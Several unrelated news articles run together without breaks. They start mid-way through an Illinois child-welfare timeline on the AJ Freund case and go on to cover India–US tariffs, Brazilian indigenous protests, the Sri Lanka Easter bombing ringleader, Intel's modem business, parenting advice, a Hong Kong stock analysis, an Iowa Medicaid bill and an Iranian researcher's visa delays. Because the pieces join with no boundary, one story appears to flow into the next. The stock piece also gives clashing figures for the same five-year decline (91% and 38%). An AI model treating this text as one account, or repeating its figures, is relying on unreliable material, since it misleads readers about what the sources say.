Dec. 18, 2018: Both boys are taken into protective custody and Cunningham is arrested for driving on a suspended license. Police find a large bruise on AJ's hip and find the ceiling falling, the floor torn and the children's bedroom smelling of dog urine. Younger brother won't engage with a DCFS investigator. The child appears to be healthy and well cared for. AJ is interviewed and says he was bruised when the family dog pawed him. DCFS investigator interviews Cunningham, who admits to dog feces and urine were in the home but says they were remodeling. Andrew Freund Sr. bonds Cunningham out and she requests to be tested for drugs. DCFS investigator ends protective custody and children are returned home. DCFS investigator asks Cunningham to take AJ for medical care and an emergency room physician examines the boy. The doctor couldn't say what caused the boy's injury but was concerned because AJ said "maybe someone hit me with a belt. Maybe mommy didn't mean to hurt me." DCFS investigator contacts Freund to pick the children up from hospital until the home environment can be assessed. The father was asked to remain in the home as a safety precaution. Dec. 19, 2018: DCFS investigator conducts unannounced home visit and finds living room and dining room cluttered with clothes and toys. The kitchen was clean and the floor was missing tiles. The ceiling was not falling and investigator sensed a slight odor of dog urine. No feces or urine was observed on the floor. Andrew Freund Sr. denies corporal punishment and denies Cunningham used drugs. Dec. 20, 2018: DCFS investigator spoke with the past DCFS investigator regarding her case and findings. Jan. 4, 2019: DCFS unfounded the report due to lack of evidence for cuts, welt and bruises allegation. April 18, 2019: Cunningham and Freund report Andrew missing. DCFS receives hotline report alleging neglect and inadequate supervision. Police find the home has ripped up floors, food lying around and clothes and garbage everywhere. The young brother is taken into protective custody and placed with a foster parent. He appears healthy and shows no obvious signs of abuse or neglect. April 24, 2019: Police find AJ's body. They arrest Cunningham and Freund on murder counts and other charges related to his death. ___ Source: Illinois Department of Children and Family Services (Reuters) - India has once again delayed the implementation of higher tariffs on some goods imported from the United States to May 15, a government official said on Friday. The new tariff structure was to come into force from May 2, the spokeswoman said without citing reasons for the delay. Angered by Washington's refusal to exempt it from new steel and aluminum tariffs, New Delhi decided in June last year to raise the import tax from Aug. 4 on some U.S. products including almonds, walnuts and apples. But since then, New Delhi has repeatedly delayed the implementation of the new tariff. Trade friction between India and the U.S. has escalated after U.S. President Donald Trump announced plans earlier this year to end preferential trade treatment for India that allows duty-free entry for up to $5.6 billion worth of its exports to the United States. In a further blow, U.S. on Monday demanded buyers of Iranian oil stop purchases by May or face sanctions, ending six months of waivers which allowed Irans eight biggest buyers including India to continue importing limited volumes. (Reporting by Manoj Kumar in New Delhi and Kanishka Singh in Bengaluru; Editing by Anil D'Silva and Raissa Kasolowsky) BRASILIA, Brazil (AP) Thousands of indigenous Brazilians danced, sang and performed traditional rituals using maracas and smoke pipes during a march Friday to protest the pro-business agenda of far-right President Jair Bolsonaro. The march, attended by native leaders from over 300 ethnicities across Brazil, is part of a three-day annual event known as the Free Land Encampment. "We are not afraid, our motto is 'People united will never be defeated,'" said Marizete de Souza, regional coordinator of the Macuxi people. "Let Bolsonaro's government come because he won't be able to do what he wants with our indigenous lands in Brazil. Because we are warriors." This year, the campout focused its message on Bolsonaro's decision to move the agency supervising indigenous affairs to the Agriculture Ministry and a new ministry for family, women and human rights led by an ultraconservative evangelical pastor. The agency known as FUNAI is in charge of designating indigenous land and of granting environmental licenses to businesses on indigenous reserves. It was previously attached to the Justice Ministry. Critics say the move will facilitate the expansion of mining and industrial farming businesses on protected areas. Earlier this week, lower house Speaker Rodrigo Maia said he would push to revoke the changes to FUNAI when the proposals come up for debate in Congress. Pushback over Bolsonaro's stance toward indigenous rights also comes amid an ongoing struggle to rein in illegal logging in the country's Amazon region. More than 600 European scientists signed a letter Friday asking that trade negotiations between Brazil and the European Union be based on sustainable principles. "We urge the EU to seize this critical opportunity to ensure that Brazil protects human rights and the environment," read the letter published in the online edition of Science magazine. "By working toward dismantling anti-deforestation policies, Brazil's new administration threatens Indigenous rights and the natural areas they protect." Story continues Scientists said the EU spent more than 3 billion euros ($3.3 billion) in 2017 on Brazilian iron imports in spite of "extensive deforestation driven by mining," and that in 2001 it imported beef and livestock feed linked to the illegal logging of more than 1.000 square kilometers (386 square miles). The letter was also signed by two Brazilian indigenous organizations representing 300 communities. The Deforestation Alert System, which monitors illicit harvesting in the Amazon, has reported a 24% increase in deforestation in the region between August 2018 and March 2019, compared to the same period the year prior. Over those eight-months, the watchdog said 1,974 square kilometers (760 square miles) of trees and vegetation were destroyed. During his campaign, Bolsonaro said he would not give "one more centimeter" of land to indigenous groups if elected. He also compared indigenous people living on reserves to caged animals in zoos. At Friday's march, participants walked down Brasilia's main avenue and stopped to protest in front of the justice and health ministries. Ten indigenous leaders met with Justice Minister Sergio Moro's chief of staff, demanding that FUNAI be reinstated under its supervision. After the meeting, Marcos Xukuru, chief of the Xukuru people in the state of Pernambuco, told reporters the ministry seemed open to dialogue. Three women outside the building held a banner that read: "Indigenous blood: not one more drop." Dozens of police vehicles, members of the cavalry, a helicopter and armored trucks monitored the peaceful protest which ended in front of Congress. In a similar gathering in 2017, police shot tear gas at indigenous protesters who fired back with bows and arrows. The three-day encampment is ending Friday night. ___ Associated Press video journalist Renato Domingues reported this story from Brasilia and AP writer Diane Jeantet reported from Rio de Janeiro. AP video journalist Mia Alberti in Brasilia contributed. (Edits, adds detail paragraph 7) By Tom Lasseter and Shri Navaratnam KATTANKUDY, Sri Lanka, April 26 (Reuters) - Mohamed Hashim Mohamed Zahran was 12 years old when he began his studies at the Jamiathul Falah Arabic College. He was a nobody, with no claim to scholarship other than ambition. Zahran and his four brothers and sisters squeezed into a two-room house with their parents in a small seaside town in eastern Sri Lanka; their father was a poor man who sold packets of food on the street and had a reputation for being a petty thief. "His father didn't do much," recalled the school's vice principal, S.M. Aliyar, laughing out loud. The boy surprised the school with his sharp mind. For three years, Zahran practiced memorizing the Koran. Next came his studies in Islamic law. But the more he learned, the more Zahran argued that his teachers were too liberal in their reading of the holy book. "He was against our teaching and the way we interpreted the Koran - he wanted his radical Islam," said Aliyar. "So we kicked him out." Aliyar, now 73 with a long white beard, remembers the day Zahran left in 2005. "His father came and asked, 'Where can he go?'." The school would hear again of Mohamed Zahran. And the world now knows his name. Sri Lankan officials have identified him as the suspected ringleader of a group that carried out a series of Easter Sunday suicide bombings in the country on April 21. The blasts killed more than 250 people in churches and luxury hotels, one of the deadliest-ever such attacks in South Asia. There were nine suicide bombers who blew apart men, women and children as they sat to pray or ate breakfast. Most of the attackers were well-educated and from wealthy families, with some having been abroad to study, according to Sri Lankan officials. That description does not, however, fit their alleged leader, a man said to be in his early 30s, who authorities say died in the slaughter. Zahran was different. Story continues INTELLIGENCE FAILINGS Sri Lanka's national leadership has come under heavy criticism for failing to heed warnings from Indian intelligence services - at least three in April alone - that an attack was pending. But Zahran's path from provincial troublemaker to alleged jihadist mastermind was marked by years of missed or ignored signals that the man with a thick beard and paunch was dangerous. His increasingly militant brand of Islam was allowed to grow inside a marginalized minority community barely 10 percent of the country's roughly 20 million people are Muslim against a backdrop of a dysfunctional developing nation. The top official at the nation's defense ministry resigned on Thursday, saying that some institutions under his charge had failed. For much of his adult life, Zahran courted controversy inside the Muslim community itself. In the internet age, that problem did not stay local. Zahran released online videos calling for jihad and threatening bloodshed. After the blasts, Islamic State claimed credit and posted a video of Zahran, clutching an assault rifle, standing before the group's black flag and pledging allegiance to its leader. The precise relationship between Zahran and Islamic State is not yet known. An official with India's security services, who spoke on condition of anonymity, said that during a raid on a suspected Islamic State cell by the National Investigation Agency earlier this year officers found copies of Zahran's videos. The operation was in the state of Tamil Nadu, just across a thin strait of ocean from Sri Lanka. "LIKE A SPOILED CHILD" Back in 2005, Zahran was looking to make his way in the world. His hometown of Kattankudy is some seven hours' drive from Colombo on the other side of the island nation, past the countless palm trees, roadside Buddha statues, cashew hawkers and an occasional lumbering elephant in the bush. It is a town of about 40,000 people, a dot on the eastern coast with no clear future for an impoverished young man who'd just been expelled. Zahran joined a mosque in 2006, the Dharul Athar, and gained a place on its management committee. But within three years they'd had a falling out. "He wanted to speak more independently, without taking advice from elders," said the mosque's imam, or spiritual leader, M.T.M. Fawaz. Also, the young man was more conservative, Fawaz said, objecting, for instance, to women wearing bangles or earrings. "The rest of us come together as community leaders but Zahran wanted to speak for himself," said Fawaz, a man with broad shoulders lounging with a group of friends in a back office of the mosque after evening prayers. "He was a black sheep who broke free." Mohamed Yusuf Mohamed Thaufeek, a friend who met Zahran at school and later became an adherent of his, said the problems revolved around Zahran's habit of misquoting Islamic scriptures. The mosque's committee banned him from preaching for three months in 2009. Zahran stormed off. "We treated him like a spoiled child, a very narrow-minded person who was always causing some trouble," said the head of the committee, Mohamed Ismail Mohamed Naushad, a timber supplier who shook his head at the memory. Now on his own, Zahran began to collect a group of followers who met in what Fawaz described as "a hut." At about that time, Zahran, then 23, married a young girl from a small town outside the capital of Colombo and brought his bride back to Kattankudy, according to his sister, Mathaniya. "I didn't have much of a connection with her she was 14," she said. Despite being "a bit rough-edged," Zahran was a skilled speaker and others his age were drawn to his speeches and Koranic lessons, said Thaufeek. He traveled the countryside at times, giving his version of religious instruction as he went. Also, Zahran had found a popular target: the town's Sufi population, who practice a form of Islam often described a mystical, but which to conservatives is heresy. Tensions in the area went back some years. In 2004, there was a grenade attack on a Sufi mosque and in 2006 several homes of Sufis were set afire. Announcements boomed from surrounding mosques at the time calling for a Sufi spiritual leader to be killed, said Sahlan Khalil Rahman, secretary of a trust that oversees a group of Sufi mosques. He blamed followers of the fundamentalist Wahhabi strain of Islam that some locals say became more popular after funding from Saudi Arabia, the birthplace of Wahhabism, flowed to mosques in Kattankudy. It was, Rahman said, an effort "to convert Sufis into Wahhabis through this terrorism." Rahman handed over a photograph album showing charred homes, bullet holes sprayed across an office wall and a shrine's casket upended. ONLINE RADICAL It was an ideal backdrop for Zahran's bellicose delivery and apparent sense of religious destiny. He began holding rallies, bellowing insults through loudspeakers that reverberated inside the Sufis' house of worship as they tried to pray. In 2012, Zahran started a mosque of his own. The Sufis were alarmed and, Rahman said, passed on complaints to both local law enforcement and eventually national government offices. No action was taken. The then-officer in charge of Kattankudy police, Ariyabandhu Wedagedara, said in a telephone interview that he couldn't arrest people simply because of theological differences. "The problem at the time was between followers of different Islamic sects - Zahran was not a major troublemaker, but he and followers of other sects, including the Sufis, were at loggerheads," Wedagedara said. Zahran found another megaphone: the internet. His Facebook page was taken down after the bombings, but Muslims in the area said his video clips had previously achieved notoriety. His speeches went from denouncing Sufis to "kafirs," or non-believers, in general. Zahran's sister, Mathaniya, said in an interview that she thought "his ideas became more radical from listening to Islamic State views on the Internet." In one undated video, Zahran, in a white tunic and standing in front of an image of flames, boomed in a loud voice: "You will not have time to pick up the remains of blown-up bodies. We'll keep sending those insulting Allah to hell." "HARD TO TAKE" Zahran spoke in Tamil, making his words available to young Muslims clicking on their cellphones in Kattankudy and other towns like it during a period when, in both 2014 and 2018, reports and images spread of Sinhalese Buddhists rioting against Muslims in Sri Lanka. In 2017, Zahran's confrontations boiled over. At a rally near a Sufi community, his followers came wielding swords. At least one man was hacked and hospitalized. The police arrested several people connected to Zahran, including his father and one of his brothers. Zahran slipped away from public view. That December, the mosque Zahran founded released a public notice disowning him. Thaufeek, his friend from school, is now the head. He counted the places that Zahran had been driven away from his school, the Dharul Athar mosque and then, "we ourselves kicked him out, which would have been hard for him to take." The next year, a group of Buddha statues was vandalized in the town of Mawanella, about five hours drive from Kattankudy. There, in the lush mountains of Sri Lanka's interior, Zahran had taken up temporary residence. "He was preaching to kill people," said A.G.M. Anees, who has served as an imam at a small mosque in the area for a decade. "This is not Islam, this is violence." Zahran went into hiding once more. On the Thursday morning before the Easter Sunday bombings, Zahran's sister-in-law knocked on the door of a neighbor who did seamstress work near Kattankudy. She handed over a parcel of fabric and asked for it to be sewn into a tunic by the end of the day. "She said she was going on a family trip," said the neighbor, M.H. Sithi Nazlya. Zahran's sister says that her parents turned off their cellphones on the Friday. On Sunday, when she visited their home, they were gone. She does not know if Zahran arranged for them to be taken somewhere safe. Or why he would have carried out the bombing. But now in Kattankudy, and in many other places, people are talking about Mohamed Hashim Mohamed Zahran. (Reporting by Tom Lasseter and Shri Navaratnam; Additional reporting by Sanjeev Miglani, Shihar Aneez and Alasdair Pal; Editing by John Chalmers and Alex Richardson) (Reuters) - Intel Corp is exploring strategic options for its modem chip business, including a possible sale to Apple or another acquirer, the Wall Street Journal reported on Friday, citing people familiar with the matter. Intel decided to exit the 5G modem chip business last week, hours after Apple settled a longstanding legal dispute with Qualcomm Inc, a key supplier of iPhone modem chips. Apple had held talks with Intel around last summer and continued to do so for months until halting recently around the time of its settlement with Qualcomm, the WSJ report said. Intel has already received expressions of interest from a number of parties and has hired Goldman Sachs Group Inc to manage the process, which was in an early stage, the report said. Apple, Intel and Goldman Sachs declined to a request from Reuters for comment. Shares of Apple closed at $204.3, down 0.53 percent. Shares of Intel which were down as much as 11 percent on Friday afternoon after it cut its full-year revenue outlook yesterday, pared losses to close at $52.43, down about 9 percent. (Reporting by Sayanti Chakraborty in Bengaluru; Editing by Arun Koyyur) Emma Darvick When in a new relationship as a single parent, its easy to stress about how your kids will the handle the news. Will they enjoy the company of the new face at the dinner table? Or will they shut down every time your significant other comes around? You're hoping for the former, we know. But its hard to predict how your childrenno matter what agewill react, especially if its your first time bringing someone around that you're romantic with. "Just because you like this person doesnt mean that your kid necessarily will," reminds James H. Bray, Ph.D., chair and professor of the Department of Psychology at University of Texas at San Antonio. The good news is most kids adapt to new changes like these just fine. A 2002 landmark study by developmental psychologist Mavis Hetherington found up to 80 percent of children from divorced homes were able to adjust well to their new life. Yet research also shows, it usually does take time for a relationship with a stepparent figure to develop, says Dr. Bray, author of Stepfamilies: Love, Marriage, and Parenting in the First Decade and former president of the American Psychological Association. And a first encounter is really important in setting the tone. Experts offer tips on the best way to bring a potential future stepparent into your child's lifeand that includes preparation before the first hello, during, and after. Serious relationships only You can't guarantee a significant other will turn into a spouse, but ensure there's some stability first. Multiple people walking in and out of a child's life can be really confusing for them. "When somebody is around a lot and the kids get to know them and get attached and suddenly they are gone because the relationship didnt work out, its another loss for them," says Dr. Bray. "And that can be challenging." He points out, it can also model promiscuity even when that's not a parent's intention. "Kids learn from what their parents do, not what they say," he says. Story continues On the other hand, an introduction shouldn't be done too late, either. You want to avoid making your child "feel like a side act...rather than a key element" in your life, says Randall Hicks, author of Stepparenting: 50 One-Minute Dos & Donts for Stepdads and Stepmoms . "Once it is known this new person will have some 'staying power' in the life of the parent, that's a good time to introduce them to the child, whether that person might be a future spouse or not," he adds. Prepare them for who's coming around Once you know your partner is here to stay (yay!), get your child ready for the meeting before it happens, says Molly Barrow Ph.D., a licensed mental health counselor and executive director of IMAGINE Childrens Health Center, Inc. in Naples, Florida, which treats school-age children suffering from trauma, PTSD, ADHD, stress, autism, chronic pain, and depression. She recommends dropping little hints like "you hope to remarry" and "parents get lonely and want someone to be their special person." Make sure to "keep it focused on the parental need as your children do not know or believe they need a stepparent." And always keep kids in the loop when planning the first big encounter wherever it might be. Don't have someone new just show up without your kid knowing; give them some kind of warning, says Dr. Bray. Even if you say it's simply a friend of yours you'd like them to meet, it's a "good idea for the parent to say something in advance...rather than just springing it on them." Routines are a good thing The setting of the first meeting matters, but that doesn't call for a fireworks display. "Oftentimes its a good idea to do something where theres an activity thats usual and the kids are going to enjoy," says. Dr. Bray. That keeps children in routine and usually makes for a much smoother introduction. Think grabbing food or attending a ball game where your significant other can just tag along. And Dr. Barrow recommends avoiding special days, such as a birthday, holiday, or school event to avoid ruining a big moment. Same goes for when a child is having trouble at school, going through a breakup, or has an illness. "The introduction can wait until emotional loading subsides," she says. Let things unfold naturally There's no need to force anything during the introduction. Don't pressure kids to be affectionate with your partner, and that includes making them offer a handshake, hug, or kiss, says Dr. Barrow. Keep that mindset going even after the first hangout is over. "You probably took a little time to get to know them and like them, so you need to give your kids that kind of space," says Dr. Bray. Your kid may not like your new friend just yet, "and that needs to be OK for the child because otherwise they will feel a lot of pressure or they may pushback a lot." Save some alone time for your little ones too So the first introduction is over, and you can breathe a sigh of relief. But now it becomes important for parents to really pay attention to children's feelings. "If the parent is all in love...and they want to include that person all the time, what the kids miss out on is that alone time with their parent, which they often really value after a divorce because its really helped them adjust," says Dr. Bray. It's common, he says, for children to start to feel jealous. That's especially true when a parent has been a single parent for a while and has become especially close to their child. Make an effort to save some alone time with your child, even if it's something as simple as watching a movie together. Don't worry, though. Once your child develops a bond with your partner, they may become even more eager than you to extend an invite on your next trip to the zoo! And keep conversation flowing down the line, too. "Once marriage is considered, children in an existing family should have a voice in this new person being part of the family," says Hicks. He suggests letting them know your plans and establishing the fact that their happiness and opinion is just as important as yours. Some stocks are best avoided. It hits us in the gut when we see fellow investors suffer a loss. Anyone who held Beautiful China Holdings Company Limited (HKG:706) for five years would be nursing their metaphorical wounds since the share price dropped 91% in that time. And some of the more recent buyers are probably worried, too, with the stock falling 51% in the last year. On top of that, the share price has dropped a further 15% in a month. We really feel for shareholders in this scenario. It's a good reminder of the importance of diversification, and it's worth keeping in mind there's more to life than money, anyway. Check out our latest analysis for Beautiful China Holdings Because Beautiful China Holdings is loss-making, we think the market is probably more focussed on revenue and revenue growth, at least for now. Shareholders of unprofitable companies usually expect strong revenue growth. That's because fast revenue growth can be easily extrapolated to forecast profits, often of considerable size. Over five years, Beautiful China Holdings grew its revenue at 48% per year. That's better than most loss-making companies. So it's not at all clear to us why the share price sunk 38% throughout that time. You'd have to assume the market is worried that profits won't come soon enough. While there might be an opportunity here, you'd want to take a close look at the balance sheet strength. The chart below shows how revenue and earnings have changed with time, (if you click on the chart you can see the actual values). SEHK:706 Income Statement, April 26th 2019 Balance sheet strength is crucual. It might be well worthwhile taking a look at our free report on how its financial position has changed over time. What about the Total Shareholder Return (TSR)? Investors should note that there's a difference between Beautiful China Holdings's total shareholder return (TSR) and its share price change, which we've covered above. The TSR attempts to capture the value of dividends (as if they were reinvested) as well as any spin-offs or discounted capital raisings offered to shareholders. Beautiful China Holdings hasn't been paying dividends, but its TSR of -90% exceeds its share price return of -91%, implying it has either spun-off a business, or raised capital at a discount; thereby providing additional value to shareholders. Story continues A Different Perspective We regret to report that Beautiful China Holdings shareholders are down 51% for the year. Unfortunately, that's worse than the broader market decline of 2.6%. However, it could simply be that the share price has been impacted by broader market jitters. It might be worth keeping an eye on the fundamentals, in case there's a good opportunity. Regrettably, last year's performance caps off a bad run, with the shareholders facing a total loss of 37% per year over five years. We realise that Buffett has said investors should 'buy when there is blood on the streets', but we caution that investors should first be sure they are buying a high quality businesses. Shareholders might want to examine this detailed historical graph of past earnings, revenue and cash flow. But note: Beautiful China Holdings may not be the best stock to buy. So take a peek at this free list of interesting companies with past earnings growth (and further growth forecast). Please note, the market returns quoted in this article reflect the market weighted average returns of stocks that currently trade on HK exchanges. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. Thank you for reading. DES MOINES, Iowa - Medicaid payment for transgender surgery would once again be limited in Iowa under a new proposal from Republican state senators. The proposal would prohibit any state or local government unit or tax-supported district from providing sex reassignment surgery. It applies to any other cosmetic reconstructive or plastic surgery procedure related to "transsexualism, hermaphroditism, gender identity disorder, or body dysmorphic disorder." The proposal was introduced Friday on one of the final days of the legislative session. If enacted by the Senate, it would need to go to the GOP-majority House and Republican Gov. Kim Reynolds. The provision is a response to an Iowa Supreme Court ruling in March that was regarded as a landmark decision. The ruling struck down a ban on Medicaid payments for surgeries for the purpose of sex reassignment. More: Iowa Supreme Court rules transgender patients can use Medicaid for transition-related care The Department of Human Services had classified gender-transition related surgeries as cosmetic, reconstructive or plastic surgery. The Iowa Supreme Court unanimously determined the ban violated the Iowa Civil Rights Act's gender-identity protections. State Republican Sen. Mark Costello defended the provision during floor debate on Friday, saying he was trying to change administrative code back to the way it was for years before the lawsuit. He said he didn't feel such procedures are "always medically necessary. Civil rights advocates said the March ruling apparently was the first time a state's highest court held that transgender people have the right to use public money for transition-related surgeries. The new proposal would be added as an amendment to a health budget bill. The restrictions would go into effect immediately if enacted. Daniel Hoffman-Zinnel, executive director for One Iowa Action, an LGBTQ rights group, released a statement Friday condemning the amendment. Story continues Protecting transgender people from discrimination is settled law in Iowa, and has been since 2007. The Iowa Supreme Court made clear that the Iowa Civil Rights Act protects transgender Iowans against Medicaid discrimination in their unanimous ruling just over one month ago. "In response, a small group of legislators want to pick and choose who deserves protections under the law, and its clear they think of transgender Iowans as second-class citizens. This amendment is a harmful attempt to deny transgender Iowans medically necessary care, and it will not stand up to legal muster." Medicaid is a joint federal and state health-care program that covers care for more than 600,000 poor or disabled Iowans. It is overseen by the Iowa Department of Human Services, which sets coverage rules. The Supreme Court ruling in March upheld a 2018 decision by Polk County Chief District Judge Arthur Gamble. Gamble wrote that state officials have an "obligation to keep up with medical science." He ruled the ban on Medicaid payment for gender reassignment surgery violated the Constitution. But the Iowa Supreme Court stopped short of ruling that the Medicaid ban was a violation of the equal protection clause in the Iowa Constitution. Supreme Court Justice Susan Christensen wrote that the court didnt need to decide that question in order to rule in the case. Sharon Malheiro, a Des Moines-based lawyer and civil rights advocate, said that left the door open to legislators to change laws. More: Hormones, surgery, regret: I was a transgender woman for 8 years time I can't get back More: Some Americans are denied 'lifesaving' health care because they are transgender The Supreme Court ruling ended an almost two-year legal battle over whether transition-related surgery was medically necessary or a procedure provided solely for psychological purposes. The plaintiffs in the case were Carol Ann Beal and EerieAnna Good, who sued the Department of Human Services in 2017. They alleged that the Iowa Department of Human Services blanket ban denying their use of public funds for doctor-prescribed surgery singled them out solely because of their gender identity. In the district court ruling, Gamble wrote that state officials did not rebut the medical evidence that gender affirming surgery is medically necessary treatment and that Good and Beals denials were issued without regard to the law and facts. The agency acted in the face of evidence upon which there is no room for difference of opinion among reasonable minds, the judge wrote. The state appealed, arguing the ban is not discriminatory because the department denies all surgeries performed primarily for psychological reasons which is how it has characterized transition-related surgeries. Follow Tony Leys and Barbara Rodriguez on Twitter @tonyleys and @bcrodriguez This article originally appeared on Des Moines Register: Iowa Senate Republicans propose banning the use of Medicaid dollars on transgender surgery The Iranian pharmacologist was exactly where he wanted to be: in a windowless, acrid-smelling room on the 12th floor of Brigham and Womens Hospital, delicately suctioning pink liquid from a dish of cells. His mind was elsewhere, though. One moment, Soheil Saeedi was here, in Boston, pipetting chemicals, trying to figure out why a molecule went from cardiovascular boon to burden, and the next he was back in Iran with his wife, wandering in the shade of her fathers kiwi orchard. Hed be jotting calculations on a paper towel when suddenly hed remember her face. That was enough to set him adrift, to remind him yet again that for seven months theyd only been able to see each other through a screen; that for seven months, theirs had been a marriage by smartphone. Skype, WhatsApp this is not real life, he said. Theyd already been in limbo once, in 2017, during President Trumps initial travel ban. It had taken eight months for the courts to block that executive order and for the couples visas to come through, so that Saeedi whod been an assistant professor and pharmaceutical CEO back in Iran could start his fellowship in the United States. Since then, the Trump administration has explicitly allowed Iranian researchers like Saeedi to enter the country with their families to work or study. But many say their papers are held up for so long that theyre forced to put jobs and marriages on hold, leaving them suspended in uncertainty. What seemed like a routine visa renewal for Saeedis wife, Khatereh Shabanian, has turned into an ordeal lasting the better part of a year a scenario that immigration lawyers are all too familiar with. Their inboxes are filled with similar stories, and they say that the delays in background checks are only increasing. Read more: Travel ban harms global collaboration the lifeblood of biomedicine scientists say Whether thats a form of backdoor discouragement or simply bureaucratic inertia, the potential fallout extends far beyond these families. Clearly, American science has thrived off of the ability to attract the best scientists from across the globe, said Julia MacKenzie, senior director of international relations for the American Association for the Advancement of Science. Shes concerned that if the United States is perceived as unwelcoming, cross-border collaborations and the breakthroughs that come with them will move elsewhere. Story continues That worry is a daily presence in the air around Saeedis lab bench, a constant question buzzing around his head. Hes 32, has been married for five years, and has been contemplating the thrill of doing research at Harvard for longer than that. Hes here now, in a university-affiliated hospital, watching, in patterns of fluorescence, how proteins ebb and flow. But if that means being apart from Shabanian, hes not sure staying in Boston is worth it. As a pharmacist, she knows the urgency of Saeedis research. At first, when they spoke over Skype, shed laugh, saying, Show me your beautiful blots, and hed hold up a sheet showing different protein levels represented in chemical blotches. Now, they both feel stuck, unsure where their life is. A few days ago, she told me, Give up, come back, he said earlier this month. He doesnt want to, but he doesnt want to keep living apart, either. If hed gone elsewhere, he says to Canada, to Europe this would not be happening. President Trump, can he live without his wife, his family, his children, for a long time? Can he do this? Theyd had one year together in Boston, walking a few blocks from their apartment to the Chestnut Hill Reservoir, window-shopping in Cambridge. Shabanian worked toward becoming a pharmacist in the U.S. Sometimes she accompanied Saeedi to the lab, peering into the barrels of the microscope, watching him care for his collections of cells. He liked to think of them as our most precious cogs, lining the inside of veins, arteries, and capillaries, helping the constant gurgle of blood to and from the heart. Her visa expired in August 2018. When theyd left to renew her papers at the U.S. Consulate General in Dubai there is none in Iran the officer made it sound like everything would be done in a month. That was back in September. Saeedi had returned to his Boston lab, expecting Shabanian to join him imminently. Since then, before getting out of bed each morning, Saeedi has reached for his phone and logged onto the State Departments website, tapping in the 10 familiar digits of Shabanians case number. And every morning, hes been greeted by the same pop-up window with the same infuriating phrase: Administrative Processing. Those words, dull and bureaucratic as they sound, often carry dramatic consequences. Families are separated, career plans squelched, experiments stalled, jobs left unfilled. Often, those affected are exactly the categories of visitors that the Trump administration declared it would let in. After two travel bans and the subsequent judicial rulings that blocked them, the third iteration was upheld by the Supreme Court last June, preventing most Iranians, Libyans, Somalis, Yemenis, and North Koreans along with a small subset of Venezuelans from entering the United States. There were official exceptions, though. Certain student and exchange visas, including the kind given to Saeedi and Shabanian, were not suspended for Iranians. That specific carve-out did not emerge from nowhere. Of the Muslim-majority nationalities included in the current ban, by far the most nonimmigrant visas which may be given to students, scientists, and tourists had previously been going to Iranians. While its hard to track scientists specifically, the overall numbers have dropped drastically, from 35,363 Iranians getting such visas in 2015 to 6,014 in 2018. Even those visas that are still explicitly allowed are not easy to get. Governmental vetting can take so long that it jeopardizes the work or study that had required the visa in the first place. In some cases, that was true pre-Trump, but Iranian visitors have noticed that someone who was previously able to get papers in a few weeks or a month now often languishes indefinitely in administrative processing when requesting a renewal of the exact same status. What has alarmed immigration attorneys is that the longest wait times have been getting longer. At the offices of Lotfi Legal, in Madison, Wis., a few calls come in every day from Iranians stuck in administrative processing. Before 2017, attorney Veronica Sustic said, the firm often heard from those whod been waiting for six to 12 months; now, more and more often its been two or even three years. People are stuck in limbo, they dont know how to move on with their lives, she said. To Cody Wofsy, a staff attorney for the Immigrants Rights Project at the American Civil Liberties Union, the delays in administrative processing seem like one of the ways in which ordinary immigration and visitors visas are slowed down or effectively denied from Iran or other countries. Read more: After Trumps immigration crackdown, a desert clinic tries to save lives without breaking the law In some extreme cases, the courtroom is the quickest solution. Leila Mansouri, a Washington, D.C., immigration attorney and board member of the Iranian American Bar Association, remembers an engineer who returned to Iran in 2018 to attend his fathers funeral and then couldnt get back into the U.S. for four months. He said, Look, Im going to lose my job if I cant get my visa, she recalled. We filed a lawsuit for him, and he got his visa in three weeks. (The ACLU, Lotfi Legal, and the Iranian American Bar Association have all sued the Trump administration over its immigration policies.) The State Department does not release data on how many visa applications are subject to administrative processing. An official said that the agency is continuously working to refine our visa application, assessment, and security screening procedures, and is aiming to reduce wait times, adding that delays vary based on the individual circumstances of each case. That does little to assuage the worries of Dr. Thomas Michel, the cardiologist and biochemist in whose lab Saeedi is working. By keeping scientists families apart, the attractiveness of the USA as a destination for training is undermined, he said. For those in limbo, the worries are more immediate. One Iranian postdoc has trouble going to her lab: Her husband was supposed to watch their 18-month-old, but he has spent three months in administrative processing, and she cant afford child care. A Ph.D. student at the University of Michigan found himself stuck in Vancouver; if his administrative processing had lasted five days longer, his funding would have disappeared and years of work would have gone up in smoke. As he waited, he kept thinking, This will destroy my life. For Saeedi, the pressure was of a different nature. As he left the lab one evening this month, Saeedi remembered boarding the flight from Tehran alone and suddenly having second thoughts. Other passengers were shoving luggage into overhead bins, clicking shut their seat belts, but he had stood up, ready to walk off the plane before the cabin door closed, ready to forget the United States. After a few seconds, I said to myself, Take a seat. Take a seat on the plane and go to the U.S. Look at yourself! Now youre on the plane and you cannot get off. Khatereh will join you soon. It was a feeling hed been having more and more, that he was trapped. Iranians are routinely given either single-entry, one-, or two-year American visas for jobs or degrees that last three years or longer. That means that many are afraid to leave, in case they wont be allowed back in to finish internships, fellowships, or doctoral degrees. Saeedi had had no trouble re-entering the country last September. But now that his two-year visa had expired, he had joined those isolated ranks. He hated the idea of simply giving up and going back, of letting bureaucracy get the better of him. If he didnt make efforts to forge ahead, he would feel ashamed. So hed written email after powerless email, and been told there was no foreseeable timeline. Hed checked the State Departments website religiously. Three times, hed been in touch with Sen. Elizabeth Warrens office. Three times, her staff had reached out to consular officials. Three times, theyd told him there was no way of knowing how long it would take. (Warrens office declined to comment for this article.) Saeedi felt Shabanians absence most on evenings like this one, as he picked up groceries, cut through the Bank of America parking lot, switched on the zebra-striped lamp in their studio apartment. She was everywhere and nowhere at once, in the white walls theyd painted together, the pink running shoes shed left by the door, the bristles of her toothbrush still splayed after months of disuse. He walked barefoot into the kitchen, where the cupboards were full of sweets shed mailed him tins of brittle sohan flavored with saffron, jewel-like masghati flecked with rose petals. A Post-it note shed written clung to the fridge. Most nights, he stayed late at the lab, getting home only at 10 or 11, frying a quick omelet before bed. On weekends, he hardly left the house. Now, as he made Soheil pizza, slicing open crusty supermarket bread, running his hands under the faucet, flattening the loafs white inside with his palms he couldnt help but think of the evenings last year when hed made it with her. In 2018, around this time, he and Shabanian had celebrated the Persian New Year together, eating herb soup, exchanging greetings with other Iranians in Boston. This year, the holiday fell on March 20. He made no plans; instead, he worked late in the lab. As he was packing up, he thought about everyone he knew back home, decorating their tables with the symbols of hope, each ritual item beginning with the Farsi 